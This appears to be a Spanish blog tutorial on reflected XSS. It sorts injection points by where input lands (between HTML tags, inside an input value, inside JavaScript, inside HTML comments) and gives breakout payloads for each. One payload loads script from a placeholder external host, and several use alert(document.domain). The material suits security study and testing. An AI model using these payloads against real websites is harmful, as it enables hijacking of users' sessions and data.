Si, de nuevo a hablar de XSS… ¿que remedio no? Hoy os quiero intentar hablar de distintos trucos o recursos a la hora de introducir codigo XSS no permanente dentro de una pagina web que este copiando los parametros dentro de su codigo HTML.
Para organizarnos un poco y que os perdais menos voy a intentar separar por categorias los tipos de XSS reflejados que nos podemos encontrar:
- El codigo se copia entre dos etiquetas HTML
El caso mas basico, simplemente debemos de comprobar si se nos permite introducir etiquetas HTML sin que algun posible IDS nos las detecte y elimine. Si no podemos introducir comillas simples o dobles pero si etiquetas <script> siempre podemos llamar al parametro src sin comillas y referenciar un fichero externo donde podremos introducir todos los caracteres que queramos.- <script src=http://www.url.com/fichero.js></script>
- El codigo se copia dentro de un parametro value de un <input type=”text”>
El ejemplo clasico del campo de busqueda donde cuando buscamos la cadena tipica asdf nos aparece dentro de la caja de texto y en el codigo HTML tenemos algo del tipo: <input type=”text” name=”busqueda” value=”asdf” />.
En este caso debemos de fijarnos primero en que caracter se usa para cerrar la etiqueta value; pueden darse tres casos: comilla simple, comilla doble o nada (esta nunca la he visto, pero seria posible). En cualquiera de los dos primeros casos lo que tendremos que hacer es comprobar si estan escapando de alguna manera estos caracteres. Esto lo haremos introduciendo asdf”‘.
Un nuevo vistazo al codigo fuente nos dara una idea de lo que esta pasando. Nos podemos encontrar (de nuevo) con tres casos distintos:- Nuestras comillas apareceren como caracteres HTML, " o ‘
- Nuestras comillas aparecen escapadas: \” o \’
- Nuestras comillas aparecen en todo su esplendor y gloria como nosotros las habiamos puesto.
En el primero de los casos podemos olvidarnos de intentar introducir algo de XSS en la pagina, pero en los otros dos supuestos podremos intentar cerrar la etiqueta HTML con un >.
Dependiendo de si nuestra etiqueta cerrada cumple su cometido o no podremos empezar a posteriori a introducir nuestro codigo Javascript. No olvideis abrir una etiqueta HTML para que sean cerradas por el codigo que queda tras nuestro Javascript, asi el codigo generado sera perfecto.-
“><script>alert(document.domain);</script><div class=”
-
El codigo se copia dentro de codigo Javascript
Este es el caso mas divertido (y el que me ha llevado a escribir este post). Cuando nuestro codigo se introduce dentro de un codigo Javascript debemos de generar codigo completamente valido para que el navegador pueda interpretarlo y ejecutarlo (al contrario del caso anterior donde una etiqueta HTML mal cerrada no impide que nuestro codigo se ejecute).
Toca realizar un analisis sobre la parte en la que nuestro codigo ha ido a caer y encontrar la manera de que se ejecute. Como norma general nuestro payload estara ubicado dentro de una variable de tipo string, por lo que deberemos de cerrar las comillas (simples o dobles) y añadir el ; de final de linea. Para lograr todo esto aqui van algunos consejos:-
Usa los comentarios de una sola linea (//) para eliminar todo aquello que no nos sirva tras nuestro codigo Javascript.
-
A veces la manera mas facil de asegurarnos que nuestro codigo se ejecuta es cerrando la etiqueta <script> existente y creandonos una propia.
-
Si nuestro codigo “cae” dentro de una funcion o de un bucle deberemos de cerrar los corchetes abiertos por estos para colocar nuestro codigo dentro del flujo general de la ejecucion del codigo. No olvideis que luego debemos de crear bucles o funciones vacios para que los corchetes que evitamos no nos molesten.
-
A veces (y esto tambien se aplica al codigo HTML) encontramos dos o mas variables que permiten la inclusion de XSS pero que, por alguna razon, estan limitados en el numero de caracteres. En este caso hemos de comprobar cual es el orden en el que aparecen en el codigo fuente y usar los caracteres de comentarios multilinea para hacer que nuestro codigo sea uno solo juntando las variables disponibles.
Con todo esto en mente y teniendo en cuenta que el codigo ha de ser valido (la extension Firebug de Firefox puede ayudarnos mucho) se puede empezar a jugar contra el programador de la aplicacion.
-
- “;}}alert(document.domain);if(0){if(0){//
- Dentro de comentarios HTML
Aunque he de reconocer que me ha ocurrido pocas veces, es posible que nuestros parametros aparezcan dentro de unas etiquetas de comentarios, como si fuesen mensajes de debug olvidados.
En este caso nada mas facil que cerrar la etiqueta de comentario HTML, meter nuestro codigo y volver a abrir la etiqueta de comentario: - –><script>alert(document.domain);</script><!–
Evidentemente pueden ocurrir multitud mas de situaciones, aunque creo que la mayoria vienen reflejadas aqui o son subcasos de lo aqui comentado. Tambien es cierto que aqui apenas se han comentado metodos para insertar XSS en los casos donde la cosa este ajustada (filtros potentes, limitaciones reales de tamaño, etc.) pero eso puede dar para otra entrada…
